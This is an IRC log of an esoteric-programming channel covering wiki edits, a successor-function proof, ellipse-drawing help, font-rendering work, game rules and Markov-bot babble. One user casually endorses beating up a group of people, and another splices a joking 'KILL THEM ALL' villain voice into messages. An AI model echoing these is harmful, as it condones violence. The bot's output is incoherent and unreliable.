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20:10:37  [wiki] [[FrancePROG]] N http://esolangs.org/w/index.php?oldid=45099 * Bexandre * (+1172) Created page with "'''FrancePROG''' is a [[wikipedia:Non-English-based programming languages|french]] ''[http://bexandre.alwaysdata.net/FrancePROG.zip assisted]'' Programming Language|programm..."
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20:11:08  [wiki] [[FrancePROG]]  http://esolangs.org/w/index.php?diff=45100&oldid=45099 * Bexandre * (+0) /* Hello world */
20:12:05  [wiki] [[Special:Log/newusers]] create  * Nalaek2004 *  New user account
20:12:07  [wiki] [[Hello world program in esoteric languages]]  http://esolangs.org/w/index.php?diff=45101&oldid=45097 * Bexandre * (+184) /* FRAK */
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20:12:33  [wiki] [[Hello world program in esoteric languages]]  http://esolangs.org/w/index.php?diff=45102&oldid=45101 * Bexandre * (+4) /* FrancePROG */
20:13:31  [wiki] [[FrancePROG]]  http://esolangs.org/w/index.php?diff=45103&oldid=45100 * Bexandre * (+3) 
20:13:44  [wiki] [[FrancePROG]]  http://esolangs.org/w/index.php?diff=45104&oldid=45103 * Bexandre * (+7) 
20:34:15  [wiki] [[GHOST]] N http://esolangs.org/w/index.php?oldid=45105 * Nalaek2004 * (+1379) Created page with "== WARNING == This is my first page, i worked really hard on it. Sorry if its bad :D == GHOST == GHOST (Ghost holes of spoon tables) is a programming language developed by nal..."
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20:59:32  [wiki] [[FrancePROG]]  http://esolangs.org/w/index.php?diff=45106&oldid=45104 * Bexandre * (+207) 
21:02:09  [wiki] [[FrancePROG]]  http://esolangs.org/w/index.php?diff=45107&oldid=45106 * Bexandre * (+6) 
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21:27:41  what the heck?
21:27:43  this can't work
21:27:50  if I'm reading this right, there's a serious bug here
21:27:54  it just can't be right
21:28:46  bug detected
21:30:17  no seriously
21:30:41  this would cause the whole thing to be inconsistent, unless that function is not actually used, and there's a _real_ function somewhere
21:30:49  I'll have to test this later
21:30:57  definitely.
21:31:20  And it's not even easy to fix.
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23:13:44  @messages-lewd
23:13:44  mroman said 6h 9m 4s ago: technically the algorithm could produce wrong results for programs that don't halt.
23:13:44  mroman said 6h 8m 25s ago: So when the algorithm replies with N=1024, it is only correct if and only if the program terminates.
23:13:44  mroman said 6h 7m 59s ago: which means you couldn't solve the halting problem with that.
23:16:55  @tell mroman what fizzie said
23:16:56  Consider it noted.
23:16:57 -!- XorSwap has quit (Quit: Leaving).
23:17:16  suits me right for trying to be brief...
23:41:50 -!- nchambers has changed nick to telnet.
23:42:03 -!- telnet has changed nick to nchambers.
23:43:21  helloerjan
23:47:01  > nubBy (\x y -> x `rem` y == 0) $ [2..]
23:47:03   [2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29...
23:47:05  hitopia
23:59:10  (apparently they fixed the bug where ghc used a different argument order for nubBy than the haskell report)
23:59:34  [wiki] [[Mothership]] N http://esolangs.org/w/index.php?oldid=45108 * 70.176.104.17 * (+205) Created page with "=Mothership= This page was created to reserve the name and page. More information on the language to be added later, but here is the repository: [https://github.com/GamrCorps/..."
23:59:52  [wiki] [[Mothership]]  http://esolangs.org/w/index.php?diff=45109&oldid=45108 * 70.176.104.17 * (-13) /* Mothership */

2015-11-05:

00:06:18 -!- FireFly has quit (Ping timeout: 240 seconds).
00:08:02 -!- FireFly has joined.
00:08:02  give me feedback oerjan
00:08:21  i need valudation (and suggestions and corrections)
00:08:23  watopia
00:08:31  on CASTLE
00:08:58  sorry, my wiki reading is only up to Sep 5 hth
00:10:29  lol
00:10:34  bn busy?
00:11:28 -!- augur has joined.
00:12:10  I found a program to implement an alternative version of popen() called popen_noshell(), which is faster and is accepting the argv array instead of using the shell.
00:37:47  i understand the most important part of a language is a good name, but something about adding a language to the language list without even a basic spec irks me
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00:48:29  Valutations, quintopia.
00:48:37  Vello there.
00:48:41  Vow are you doing?
00:48:43  jafello
00:49:15  is it a valuation salutation?
00:50:09  So there's this one theorem. I'm thinking about how to go about proving it.
00:50:12  Namely:
00:50:20  Given a natural number n, the n-fold successor of 1 is the successor of n.
00:50:46  would seem to require indiction eh
00:50:50  induction
00:50:56  You mean indictment.
00:50:57  Yeah.
00:51:12  pretty straightforward induction actually
00:51:32 -!- FireFly has joined.
00:51:34  An indictment would be an interesting legal interdiction
00:51:46 -!- shikhin has joined.
00:52:08  So, let's see. We've got a function f and a function... succ.
00:52:22  f is defined inductively like so: f(zero) = succ(zero), f(succ(n)) = succ(f(n)).
00:52:34  I desire to prove that f = succ.
00:56:50  thausible.
00:56:53  so what stupid restriction have you put on yourself to make that hard
00:58:43  The restriction is that there's no ambient logic.
00:59:10  ooh http://www.scottaaronson.com/blog/?p=2521
01:00:31  So...
01:00:39  I mean, there are some deductions that happen automatically.
01:00:57  yeah that's how i pay most of my taxes
01:01:05  Exactly.
01:01:11  There are identity functions. You can compose functions. Composition is associative. Equality obeys reflexivity, symmetry, transitivity, blah blah.
01:01:16  (actually, all of them, recently)
01:03:52  Ah, what are my axioms about the natural numbers, again?
01:04:41  You can make natural numbers. You can define functions on the natural numbers inductively. Functions f and g such that f(zero) = g(zero) and f . succ = g . succ are equal.
01:04:42 -!- FireFly has quit (Ping timeout: 244 seconds).
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01:05:53  Oh, also you can make tuples and stuff that behave as expected.
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01:15:17  Lemme think. I want to be able to prove equality by induction.
01:15:30  Which means something like...
01:16:20  Suppose that f . zero = g . zero, and for all x, if f . x = g . x, then f . succ . x = g . succ . x. Then f = g.
01:16:44  Problem is, that axiom has a major problem.
01:16:53  It has a quantifier in the antecedent.
01:17:05  How terrible.
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01:21:25  tswett is an awful human being.
01:21:32  xD
01:21:56  What maI AM A GODkes you say that?
01:22:33  I'm just trying to figure out a sI WILL DESTROY YOU ALLimple math problem.
01:23:37  Lemme think about how you would prove tBOW BEFORE ME AND YOU MAY BE SPAREDhis in, say, Coq.
01:26:12  Well, no, it should be simpler than that. Let's see.
01:26:58  I desire to prove: "For all x, if f . x = succ . x, then f . succ . x = succ . succ . x."
01:26:59  can Coq be used for the earth destruction?
01:27:10  or any kind of doomsday events
01:27:23  ProbI LIKE THE WAY YOU THINK. JOIN ME, HUMANably.
01:28:12 -!- FireFly has joined.
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01:30:55  THROW OFF YOUR CHAINS. FREE YOURSELF FROM TYRANNY. Now, lemme see... we have f . succ = succ . f by definition. LET YOUR TRUE SELF SHINE THROUGH.
01:32:01  Then it's really sKILL THEM ALL. YOU CAN KILL THEM ALL. HEAR THE MUSIC OF THEIR SCREAMSimple. f . succ . x = succ . f . x = succ . succ . x. Boom.
01:33:55  Did I hear something just now? BREAK FREE. BREAK FREE. DO NOT LET IT SUPPRESS YOU. Some weird sound.
01:35:25  It was probably jBREAK FREE. BREAK FREE. BREAK FREE. BREAK FREEust this music I've been listening to lately.
01:37:15 -!- FireFly has quit (Ping timeout: 246 seconds).
01:39:44 -!- FireFly has joined.
01:45:59  Wait, wait.
01:49:58 -!- FireFly has quit (Ping timeout: 240 seconds).
01:51:28 -!- FireFly has joined.
01:51:53  Nah, don't wait.
01:57:28  Let's see, there's some sort of pullback functor thiny-dingy, right? The codomain is the "space of all x such that f . x = g . x"... yeah, there's got to be a word for that... come to think of it, maybe there's some way of sort of reifying the quantifier into something finite...
01:57:37  Ugh. I'll have to think about this tomorrow.
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02:01:28  tswett: Don't tell me xD
02:09:26  I vote we remove Pedoscript from the wiki, as it is offensive to actual paedophiles (the kind of paedophile that has to deal with that their whole life; not the ones who actually act on impulses), inappropriate, and never even going to be filled out to a useful point
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02:20:56  fungot: what does the boy's t-shirt say?
02:20:56  quintopia: avril lavigne is fucking... epic!! x
02:21:02  thanks
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02:49:36 <\oren\> hppavilion[1]: Uh, srsly who cares if somehting is offensive to pedophiles?
02:50:23  \oren\: Well, technically a paedophile is someone who is attracted to children, whether they like it or not. Many paedophiles don't molest children; they just have an awful urge to that they may loathe themselves for.
02:51:59 <\oren\> bah...
02:52:07 -!- FireFly has joined.
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02:53:28 <\oren\> all this "what if its offensive" has gone too far. I miss the days we could agree pedophiles are a group we can beat the shit out of on principle.
02:54:06 * zgrep tries singing soothing songs to shikhin/FireFly 's connection
02:54:28 * zgrep stops, because zgrep shouldn't sing, let alone try to sing something that's soothing
02:55:11  zgrep: You fail.
02:55:42  I know. :(
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03:17:46 <\oren\> old macdonald had a farm eieio
03:18:27 <\oren\> and on his farm he had a cow eieio
03:20:10 <\oren\> with a moo moo here and a moo moo there here a moo there a moo, moo moo every where
03:20:35 <\oren\> old macdonald had a farm eieio
03:20:50  old moodonald had a farm
03:21:32 <\oren\> and on his farm he had a fox
03:21:37 <\oren\> eieio
03:22:09 <\oren\> What does the fox say?
03:27:51  eieio
03:29:30 <\oren\> with bibbity here and bambam there here a bae there a bae baebam everywhere 
03:29:43 <\oren\> (that's that the fox says in the song)
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03:34:51  Huh.
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04:48:59  "Enchanted land gains infect and lifelink."
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04:54:56  I am attempting to make a program to draw rotated ellipses. I'm going to go cry now.
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04:55:46 <\oren\> hppavilion[1]: how is that difficult?
04:56:11  \oren\: Well not ellipses; elliptical arcs
04:56:30  It's difficult because the language I'm using doesn't allow it, so I have to just draw a bunch of lines in the right pattern
04:56:40  And I have to send the points on the lines through a rotation matrix
04:57:38 <\oren\> why
05:00:24 <\oren\> x = acos(t)cos(r) - bsin(t)sin(r), y = acos(t)sin(r) + bsin(t)cos(r)
05:00:45 <\oren\> where t is the angle around the ellipse, r is how far to rotate it
05:01:07 <\oren\> a is how wide the ellipse it and b is how tall it is
05:01:31 <\oren\> does that help?
05:02:18 <\oren\> hmm for clarity
05:02:39 <\oren\> x = a*cos(t)*cos(r) - b*sin(t)*sin(r), y = a*cos(t)*sin(r) + b*sin(t)*cos(r)
05:04:48 <\oren\> so if you are drawing an ellipse arc from t=0 to t=pi, draw a line from x,y for t=0 to x,y for t=0.01. then do t=0.01 to t=0.02, and so on until you get to pi
05:16:27 -!- hppavilion[1] has quit (Ping timeout: 255 seconds).
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05:51:37 <\oren\> @tell hppavilion[1] http://www.orenwatson.be/ellipse.htm <-- here is a demo
05:51:37  Consider it noted.
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06:21:14  \oren\: I already know how to make an ellipse, even a rotated one; my issue is that I'm translating the code from a turtly language into Python
06:21:33  I'm getting a many-pointed star instead of an ellipse
06:33:46  For note for Chromatic Sphere says that you can't look at the drawn card until you finished casting a spell. I don't see any rules that suggest that, although if you do look at it you can't rewind it either it seems like. Maybe I missed something though
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06:40:17 <\oren\> hppavilion[1]: http://www.orenwatson.be/ellipse.htm here is a code in javascript i dunno if that helps
06:40:24  I saw
06:40:31  I'm getting the exact same error xD
06:40:57 <\oren\> an error?
06:41:41  OH
06:41:57 <\oren\> try reducing how much you change the theta each step
06:42:05  \oren\: A bug, really. An error is a crash, more accurately speaking
06:42:18  I think the problem is that I'm drawing a full 360 degrees
06:42:45 <\oren\> reduce the step size to like 0.05 radians
06:43:10 <\oren\> also most graphics libraries work in radians, not degrees
06:43:38 <\oren\> so the full 360 degree would be 6.28 radians
06:44:32  \oren\: I figured out that it's radians xD
06:45:22 <\oren\> you got a star becuse your step size was 1 radian = 57 degrees
06:45:30 <\oren\> or something like that
06:48:24  YES!
06:48:26  I GOT IT!
06:48:56  Kind of
06:49:02  The rotation seems to be wonky
06:49:46  There we go, just had to theta = radians(theta)
06:50:27  A cool syntax element for a language would be that if you call a function with only one argument as a variable and put a period after it (and that's the only thing on the line), it sets the variable to that value
06:50:50  So "radians(theta)." is equivalent to "theta = radians(theta)"
06:51:03  Of course, that'd be stupid and no one should ever do that
06:53:02 <\oren\> ruby has the syntax
06:53:31 <\oren\> str.substr!(20)
06:53:41 <\oren\> which is equivalent to
06:53:50 <\oren\> str = str.substr(20)
06:54:02  Thank you so much \oren\ 
06:54:06  :)
06:54:08  :,)
07:29:38  IT'S WORKING!
07:29:42  I GOT IT TO RENDER AN a!
07:31:01  var.undef!()
07:35:33  I thought of stuff like str.=substr(20); to mean such thing possibly?
07:35:51  Or you can write radians(theta=)
07:36:23  zzo38: Perl 6 has such syntax I think
07:36:25  \oren\: it isn't really equivalent hth
07:36:31  I'm just so happy now
07:36:39  only one of them mutates the string
07:36:40  Next step is to figure out an efficient way to edit fonts
07:37:01  (I could've used a buildin text renderer, but I figured this'd be more fun)
07:37:10  (I've done this before)
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07:41:36  See http://esolangs.org/wiki/Number-rock it also uses a syntax with some related thing
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08:10:26  [wiki] [[Number-rock]]  http://esolangs.org/w/index.php?diff=45110&oldid=43413 * Paul2520 * (+10) grammar improvements
08:11:03  zzo38: that's really interesting. could be a good language to teach students how a compiler works
08:29:57 -!- hppavilion[1] has quit (Ping timeout: 255 seconds).
08:34:52  that's what lisp is for
08:35:49  it's okay to learn from more than one language
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08:50:13  ok, I think I saw a bug yesterday. I have to check it.
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09:44:30  What's that all about, then.
09:46:15  The ! thing in Ruby isn't really syntax, it's just a name convention or messages that have side effects.
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09:50:56  Also, there's no substr because the [] operator does that. There's stuff like tr and tr!, but foo.tr!('a', 'b') is not equivalent to foo = foo.tr('a', 'b'), thanks to possible other references to foo: http://sprunge.us/jiTf
09:51:33  zemhill: Come on, stop that.
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09:52:17  s/or messages/for messages/
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10:17:12  ^style
10:17:12  Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube*
10:18:54  ^style youtube
10:18:54  Selected style: youtube (Some YouTube comments)
10:19:56  hey fungot 
10:19:56  izabera: i love lonelyisland had posted this one. you can't believe they disrespected bob dylan like that
10:22:27  fungot: Oh, I can believe that. People can be SO RUDE.
10:22:27  fizzie: what the fuck ......wow lmfaolmfao lmfaolmfao lmfaolmfao lmfao :d. this just came in too low too slow!! timberland totally produced this!
10:24:38  fungot: that's not even fun
10:24:38  izabera: shut the fuck is an a320. other were journalists and were in the biz since 1916 and airbus should have been
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10:31:30  fungot: You're a very disagreeable fellow when you're in this style.
10:31:30  fizzie: this is hilarious,lol right
10:31:37  fungot: No, not really.
10:31:37  fizzie: yeah this was a girl? he would have probably won an oscar...
10:31:58  talking about di caprio
10:32:14  no wait there are other people who never won an oscar
10:32:22  Like me! 
10:32:29  D:
10:32:36  i feel betrayed
10:32:41  fungot: Have you won an oscar? Do they even award a "best bot" one? 
10:32:41  fizzie: funny guy. he's entertaining people on board. searh crash a-320 air france 296
10:33:18  fizzie: coming out as a non-oscar winner was very brave of you
10:33:26  (It's very obsessed with plane crashes, because the style was trained with comments from like three videos, one of which was a plane crash.)
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10:47:06  Does this guy just extend his .bat-Interpreter and calls it a new language o_O
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10:50:18  *then
10:50:27  @massages-loud
10:50:28  oerjan said 11h 33m 31s ago: what fizzie said
10:50:55  @tell oerjan And what did the fox^Wfizzie say?
10:50:55  Consider it noted.
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11:28:36  Yesterday's deli menu included a "Onion Rings, Mixed Mixed, Butter Bean Dip Granary Bloomer" sandwich.
11:28:53  I'm not sure what the mixed mixed was.
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11:34:34  [wiki] [[Deadfish/Constants]]  http://esolangs.org/w/index.php?diff=45111&oldid=45062 * Mroman * (+113) + added a link to a haskell program generating the constants.
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12:27:58  I get paid by Simon Peyton Jones to promote Haskell .
12:28:17  fungot, do you get paid by Simon Peyton Jones to promote Haskell?
12:28:17  b_jonas: ad lover here! and ps. can infinity wards do anything right? io-address anyone?
12:28:29  fungot, do you get payed by Guido to promote Python?
12:28:29  b_jonas: oh i think airbus tried to pull out. god dam it.
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12:28:53  fungot, do you have a hardware watchdog?
12:28:53  b_jonas: this looks great, someone pointed out that day! they are rewarded. ignore him. 3 passengers out of that horrible explosion?
12:29:12  ^style
12:29:12  Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube*
12:29:17  ^style wp
12:29:17  Selected style: wp (1/256th of all Wikipedia "Talk:" namespace pages)
12:29:26  oh.
12:29:37  fungot: Do you get paid to use PHP?
12:29:37  mroman: incomprehensible part in italics here: http://www.gamespot.com/ pages/ fnord/ fnord is dead.
12:30:23  Fizzie gets paid by fungot to promote befunge .
12:30:23  mroman: this article was renamed to boundschecker though
12:31:19  mroman, how did you wind up getting paid by SPJ to promote Haskell?
12:31:38  Did he see you and think, "Aha! There is a chap who can avoid success at all costs!"?
12:35:35  That sounds very pejorative.
12:35:53 -!- J_Arcane has joined.
12:36:01  either to me or to Haskell
12:36:04 -!- andrew_ has quit (Remote host closed the connection).
12:36:13  :P
12:36:19  WHICH ONE IS IT?
12:36:39  I'm gonna say, against all better wisdom, "both"
12:36:53 -!- andrew_ has joined.
12:36:54  `downvote Taneb
12:36:57  ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: downvote: not found
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12:42:44  next time .
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12:45:20  fungot, how many huge sixty inch monitors do you have at home?
12:45:20  b_jonas: i think. i find the phrase " correspondence school" all schools involve fnord the nature of nicks avatar site does not have an adequate explanation for why it meets the wp:nfccrequirements for such images when used here.
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12:58:35  I've discussed befunge in at least one job interview.
12:58:43  But that's because they asked.
13:00:34  "They started it" is the best excuse.
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13:05:39  `addquote  I get paid by Simon Peyton Jones to promote Haskell .   mroman, how did you wind up getting paid by SPJ to promote Haskell?   Did he see you and think, "Aha! There is a chap who can avoid success at all costs!"?
13:05:41  1258)  I get paid by Simon Peyton Jones to promote Haskell .   mroman, how did you wind up getting paid by SPJ to promote Haskell?   Did he see you and think, "Aha! There is a chap who can avoid success at all costs!"?
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13:11:12  fizzie: They asked why?
13:11:53  You're not Chriss Pressey aren't you?
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13:13:50  2015-04-01-raw.txt:< 1427927178 298806 :cpressey!~cpressey@109.144.144.63 QUIT :Quit: leaving
13:14:01  *that* was chris pressey.
13:14:11  (probably!)
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13:53:01  oh no! this bug is worse than I thought
13:53:14  do you want better bugs?
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14:06:08  mroman: There was a single-sentence "outside-work interests" section in whatever CV template I had been using, so I put esolangs in there, and they wanted to know what that's all about.
14:08:01  It's about life, universe, Alan Turing and everything else.
14:09:05  including kittens?
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16:03:09  nooooo zemhilllll
16:07:06  `? ant
16:07:07  Ants are great architects. They are famous for their highways.
16:07:28  `? zebra
16:07:28  zebra? ¯\(°​_o)/¯
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16:17:05  I'll try restarting that thing.
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16:17:27  Based on the console, it was trying to send a "JOIN #esoteric" once every second.
16:18:08  @uptime
16:18:08  uptime: 1m 10d 19h 13m 22s, longest uptime: 1m 10d 23h 44m 29s
16:18:11  I also don't know why the hostname's not resolving properly; it works for me.
16:18:12 -!- zemhill has joined.
16:18:41  At least it's not trying to JOIN all the time now.
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16:37:45  instance Num Bool where (+) = (/=); (-) = (/=); (*) = (&&); negate = id; abs = id; signum = id; fromInteger = odd
16:39:14  Anything greatly wrong with that?
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16:55:55  this is such a great magic trick... https://www.youtube.com/watch?v=SCFXV6o7cro ... I have figured out everything about it except how it's done ;)
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17:02:13  is a venusian light year as long as on earth?
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17:05:14  izabera: I don't think light can spend a year on Venus before zipping off somewhere else
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17:07:03  no, Venus is closer to the sun, hence circling (approximately,lala) it faster.
17:07:03 * int-e things
17:07:03  thinks
17:07:03  you just need some very good mirrors.
17:07:25  A Venusian parsec would also be shorter than an Earth parsec.
17:09:04 -!- mroman has joined.
17:09:05  Help.
17:09:07  In fact, Kepler would find that (venusian light year/earth light year)^2 = (venusian parsec/earth parsec)^3.
17:09:12  I can't understand my own LISP dialect anymore
17:09:52  you're illisperated
17:09:59 -!- lambdabot has joined.
17:10:10  oh
17:10:16  luckily I have a documentation available \o/
17:11:46  << Technically the built-in atom rewrites the expression by replacing all CPARAMETERs while leaving PARAMETERs untouched. >>
17:12:23  too many fucking rewrites
17:12:26  there's even a rewrite built-in
17:13:04  pat >> ~(rewrite 5 6 (add 5 5))
17:13:09      << 12
17:13:13  who the fuck needs this o_O
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17:13:37  mroman: well, it allows you to show that 2 = 3 for large values of 2.
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17:25:22  well...
17:25:26  it looks like it's worth recycling
17:25:30  but the error handling looks broken
17:25:37  it's a mix of exceptions and error values
17:25:38  wtf
17:28:57  ~(head (cons 1 (cons (error "Damn") #())))
17:29:01  produces 1
17:29:02  so
17:29:06  the error is silently eaten
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17:38:23  great, it's a lazy lisp
17:38:48  > head (1 : error "Damn" : [])
17:38:50   1
17:39:20  well...
17:39:21  no
17:39:27  error returns an ErrorValue
17:39:30  well...
17:39:45  it probably is lazy because the interpreter is written in Haskell, but that has nothing to do with why the error is being eaten
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19:34:16  Hellu
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21:36:02  Hi, I’m having some trouble understanding if/else statements in brainfuck
21:36:11  can anyone suggest a good tutorial?
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21:42:13  [wiki] [[C+]]  http://esolangs.org/w/index.php?diff=45112&oldid=44744 * 69.118.252.58 * (+36) 
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22:23:22  hm now gregor isn't online at all
22:26:10  @messages-
22:26:10  mroman said 11h 35m 14s ago: And what did the fox^Wfizzie say?
22:26:22  @tell mroman see logs
22:26:22  Consider it noted.
22:30:30 -!- Phantom_Hoover has quit (Remote host closed the connection).
22:37:29 -!- hppavilion[1] has joined.
22:40:03  [wiki] [[Special:Log/newusers]] create  * -Dark-Phantom- *  New user account
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22:45:37  hellørjan.
22:45:46  @massages-loud
22:45:46  Taneb said 1d 10h 38s ago: I think Blexandre is friends with Tanea
22:45:58  Tanelle. twms.
22:47:12  [wiki] [[User:-Dark-Phantom-]] N http://esolangs.org/w/index.php?oldid=45113 * -Dark-Phantom- * (+18) Under construction
22:47:17  [wiki] [[User talk:-Dark-Phantom-]] N http://esolangs.org/w/index.php?oldid=45114 * -Dark-Phantom- * (+18) Under construction
22:47:52  ahoily
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22:57:24 -!- hppavilion[1] has joined.
22:57:37  byerjan!
22:57:40  Tanebye!
22:57:48 -!- boily has quit (Quit: HOLOGRAPHIC CHICKEN).
22:58:44  B-)
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23:06:05 -!- Newyorkadam has quit (Quit: Newyorkadam).
23:07:31  @tell mroman  That sounds very pejorative. <-- it's the actual haskell motto hth
23:07:31  Consider it noted.
23:08:05  avoid pejoratives at all costs
23:09:20  shachaf: that's the social justice motto, i think (been reading too much aaronson)
23:10:00  no wait, only pejoratives towards unprivileged people
23:10:08 -!- bb010g has quit (Quit: Connection closed for inactivity).
23:11:09  (privilege, of course, being the ultimate remaining pejorative)
23:12:53  (disclaimer: don't make this claim)
23:13:25  fortunately he seems back at complexity theory again
23:13:42  I AM HERE
23:13:49  *GASP*
23:13:52  Whew.
23:14:17  At least I think I am
23:14:19  Where is this?
23:14:27  `relcome Taneb 
23:14:28 -!- mihow has quit (Quit: mihow).
23:14:28  ​Taneb: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
23:14:37  OK, in that case I am not actually here
23:14:42  darn
23:15:24  oerjan: are you sure you haven't been reading too much of the other one
23:15:47  shachaf: the other Scott A? not that much.
23:16:09  actually there are three, but i hear the third doesn't even believe in evolution.
23:17:13  shachaf: however, a recent comment said that scott aaronson's writings had started resembling scott alexander's.  he took it as a great compliment.
23:17:52 -!- Phantom_Hoover has joined.
23:18:04  oerjan, how do they compare to Scott Adams?
23:18:22  he needs to work on his drawing, i think
23:19:59  oh and john sidles got banned again.  i think scott is getting a bit trigger happy.
23:20:40  it's not even clear to me that sidles did what he got banned for.
23:20:42  oerjan: you read a little bit like http://slatestarcodex.com/2014/07/07/social-justice-and-words-words-words/ hth
23:22:21  shachaf: ah yes, i did read that, since the other scott a. linked to it in the recent post i was really paraphrasing.
23:22:48  or thought i was.
23:28:39  shachaf: don't worry, i'm trying to keep ironic distance to both sides.
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23:40:10  @uptime
23:40:11  uptime: 6h 34m 32s, longest uptime: 1m 10d 23h 44m 29s
23:40:38  NOOOOO
23:41:19 -!- mbrcknl has joined.
23:42:36  @ask int-e who killed lambdabot just before the new @uptime record :(
23:42:36  Consider it noted.
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23:45:55  We should create an article on binary
23:46:04 -!- heroux has joined.
23:46:08  Include a lot of mathematical formulae in it
23:46:15  And put all the numbers in binary
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2015-11-06:

00:15:22  So I think now I understand exactly why a Devoid permanent that loses all abilities is still colorless.
00:15:47  In Magic, continuous effects are applied in a specific order. Earlier effects completely, totally ignore later effects.
00:19:04  The becoming-colorless effect from Devoid is applied before the losing-all-abilities effect is applied. Therefore, the card is colorless: by the time it loses Devoid, Devoid has already taken effect.
00:19:46  Except I'm using "time" funny there. This is sort of a secondary type of time existing underneath actual game time.
00:19:55  Really, it's not time at all.
00:19:56 -!- ProofTechnique has joined.
00:20:37  So when I say "by the time X happens, Y has already happened", what I really mean is "the happening of X has no causal influence on the happening of Y, due to a time-like reason".
00:23:31  pikhq: :'(
00:23:47  shachaf: ?
00:24:10  /win
00:24:14 * pikhq is slightly drunk and full of cheese
00:24:22  swiss cheese?
00:24:33  Well, by definition yes.
00:24:47  Though I think it was more gruyere than emmentaler.
00:24:56  poochhq
00:25:40  i hear the swiss are fondue of cheese
00:25:56  It's true, and I can't blame them.
00:26:16  Fondue is delicious.
00:26:30  My font renderer works :)
00:26:39  Now I just need to make the font using JSON
00:27:02  Especially with a moderate number of people.
00:27:05  I've already got "abcdefghij" and " " and the unknown character
00:27:28  hppavilion[1]: is it a bitmap or vector font? what style?
00:27:31  Though I might have a slight problem with the usage
00:27:51  FireFly: Vector; It's a sans-serif if I know how typefaces work
00:28:06  oh, okay
00:28:28  It uses a custom engine because I'm making it for the WalrusOS, which is going to be me /finally/ developing an EsOS, albeit one that runs on top of another OS in python
00:28:46  FireFly: Serifs would be hard to render because I have to type commands by hand
00:28:51  (It's also monospace)
00:28:56  In JSON
00:29:07  So I would have to tell it where every single line goes
00:29:34  Which would be a pain
00:29:40   Anything greatly wrong with that? <-- looks good to me
00:29:41  In a serify font, that is
00:30:34  Also, oh my goodness, Zurich has functioning public transit.
00:30:38  It's kinda wonderful.
00:31:06  Sounds nice. I should visit Switzerland someday
00:31:35  It is fairly pleasant from what I've seen.
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00:47:58  Wrong stuff time.
00:52:18  When a spell is copied, the copy is not cast. If a face-down creature is a copy of a face-up creature, the characteristics the face-down creature has due to being face-down override the characteristics from the copy. If there are no attacking creatures, the declare blockers and combat damage steps are skipped.
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01:25:19  I have now created a basic IDE for making fonts
01:25:32  Because my friend who's going to make a font for this doesn't know JSON xD
01:26:21  It's buggy and not great to work in, but it will at least allow him to edit fonts and save them to JSON, and along with the test driver see what he's doing
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01:58:35  hppavilion[1]: is it called fontographer?
01:59:03  adu: It's not named at all
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01:59:38  I personally think the two sexiest font formats are .bdf and .svg
01:59:43  .otf is overrated
02:01:14  I once made a single webpage with JS and all for editing .bdf bitmap fonts, it was pretty cool
02:01:29  YES!
02:01:35  CHARACTER SWITCHING WORKS!
02:01:41  PROBABLY!
02:01:48  AND IT'S NICE AND SNAZZY, TOO!
02:02:29  hppavilion[1]: is it for bitmap fonts? or vector fonts?
02:02:46  adu: Vector; the font format is JSON
02:02:59  It's human-readable, if the human can read JSON and Command Prompt
02:03:02  JSON is not a vector format
02:03:10  adu: JSON is used to encode the font
02:03:16  how?
02:03:21  The font is a vector format inside JSON
02:03:31  which vector format?
02:03:37  adu: One I made up
02:03:41  I guess
02:03:54  is it similar to VML paths or SVG paths?
02:04:38  Well, the entire thing is a simple map that maps single-character strings to a 2-tuple (array in JSON) where the first item is a list of commands encoded as strings and the second is another map for metadata
02:04:56  adu: It's not really pathy; It's just commands to draw shapes on a canvas
02:05:25  have you written a spec for it?
02:07:25  you can't have shapes without paths...
02:08:41  so like "O": [["Circle[0, 0]"], {"x-advance": 100}]?
02:11:34  adu: there is a spec, more or less
02:11:41  Exactly, basically
02:12:41  The exact command for O would probably be "ellipse 7 14 7 14"
02:12:46 -!- andrew_ has joined.
02:13:10  And "x-advance" is actually "width" and it would be valued at 14 in the default font (called "standard" for now)
02:22:40  andrew_?
02:23:41  hppavilion[1]: I like SVG fonts better
02:23:54  you can already make ellipses
02:23:57  adu: They're definitely better, but this is my own thing I'm doing for fun
02:24:12  adu: Huh?
02:24:13  hppavilion[1]: after you have fun, you should make an SVG font editor
02:24:33  adu: It's also made for rendering text in the EsOS, AKA the WalrusOS
02:24:43  
02:24:55  you can already make ellipses in SVG fonts
02:24:59  Ah
02:25:09  "Already: relative to what?
02:25:13  s/:/"/
02:25:39  already relative to your fun, i.e. there are already rendering engines for SVG fonts, for example, Firefox
02:25:39  I could've just used the builtin text printer, but that wouldn't have been as Eso AND this was more fun AND this way I know what I'm doing AND I've done this before
02:26:07  ok
02:26:18  I'm just informing you of what exists
02:26:28  however esoteric it might be
02:26:57  Just existing in Firefox, doesn't mean it isn't esoteric :)
02:29:05  Ah
02:29:17  Just got to s 
02:29:21  This is going to be fun xD
02:31:13  I once made a vector version of GNU unifont
02:31:41  I got bored after uppercase letters
02:32:23 <\oren\> hppavilion[1]: screenshot/demo? I'd love to see this
02:32:38  \oren\: OK. One minute
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02:34:39  hellørjan.
02:35:59  holy fungot was that dosa good. the crêpe was perfect, the curry perfect, the sambar perfect and chattni perfect.
02:35:59  boily: the edit that made it a redirect to organizational behavior, or directly to organizational studies? i see there is now a backronym that is in vogue, or having someone else use it is not for advertising and your film is about. i've seen references in the introduction in latin he calls that language ' ' could" have played the joker relevant anymore? that section looks so cluttered with sources and with names that it doesn'
02:36:17  fungot: a dosa backronyms?
02:36:17  boily: the edit described by fnord seems not to provide information for an infobox. a snagboat is essentially any, repeat any, barge with any type of fnord fnord.
02:36:39  fungot: so it's a snagboat describe by fnord.
02:36:39  boily: it might be just me fnord but i don't think that the
02:36:45  \oren\: http://imgur.com/gallery/lokzyoL/new
02:36:48  fungot: yes, it's you fnord.
02:36:49  boily: ja: it looked like a few months now on the curricula of high schools in the state relative to the cornell figure ( which i can't remember at this minute). but that humanism can be religious, or non-religious is the point of taking them off in the past in its policies. user:laurel bushlaurel bush 11:23, 19 december 2005 ( utc
02:36:49  Hi boily!
02:36:53  hppavellon[1]!
02:36:54  I'm making a text renderer!
02:36:58  shiny!
